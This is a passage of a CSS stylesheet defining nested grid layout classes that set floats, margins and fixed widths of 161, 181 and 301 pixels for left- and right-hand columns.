.g-unit .g-unit .g-unit .g-tpl-160-alt .g-first, .g-unit .g-unit .g-tpl-160-alt .g-first, .g-unit .g-tpl-160-alt .g-first, .g-tpl-160-alt .g-first {
display:block;
float:right;
margin:0pt;
width:161px;
}
.g-tpl-180 .g-unit, .g-unit .g-tpl-180 .g-unit, .g-unit .g-unit .g-tpl-180 .g-unit, .g-unit .g-unit .g-unit .g-tpl-180 .g-unit {
display:block;
float:none;
margin:0pt 0pt 0pt 181px;
width:auto;
}
.g-unit .g-unit .g-unit .g-tpl-180 .g-first, .g-unit .g-unit .g-tpl-180 .g-first, .g-unit .g-tpl-180 .g-first, .g-tpl-180 .g-first {
display:block;
float:left;
margin:0pt;
width:181px;
}
.g-tpl-180-alt .g-unit, .g-unit .g-tpl-180-alt .g-unit, .g-unit .g-unit .g-tpl-180-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-180-alt .g-unit {
display:block;
float:none;
margin:0pt 181px 0pt 0pt;
width:auto;
}
.g-unit .g-unit .g-unit .g-tpl-180-alt .g-first, .g-unit .g-unit .g-tpl-180-alt .g-first, .g-unit .g-tpl-180-alt .g-first, .g-tpl-180-alt .g-first {
display:block;
float:right;
margin:0pt;
width:181px;
}
.g-tpl-300 .g-unit, .g-unit .g-tpl-300 .g-unit, .g-unit .g-unit .g-tpl-300 .g-unit, .g-unit .g-unit .g-unit .g-tpl-300 .g-unit {
display:block;
float:none;
margin:0pt 0pt 0pt 301px;
width:auto;
}
.g-unit .g-unit .g-unit .g-tpl-300 .g-first, .g-unit .g-unit .g-tpl-300 .g-first, .g-unit .g-tpl-300 .g-first, .g-tpl-300 .g-first {
display:block;
float:left;
margin:0pt;
width:301px;
}
.g-tpl-300-alt .g-unit, .g-unit .g-tpl-300-alt .g-unit, .g-unit .g-unit .g-tpl-300-alt .g-unit, .g-unit .g-unit .g-unit .g-tpl-300-alt .g-unit {
display:block;
float:none;
margin:0pt 301px 0pt 0pt;
width:auto;
}
.g-unit .g-unit .g-unit .g-tpl-300-alt .g-first, .g-unit .g-unit .g-tpl-300-alt .g-first, .g-unit .g-tpl-300-alt .g-first, .g-tpl-300-alt .g-first {
display:block;
float:right;
margin:0pt;
width:301px;
}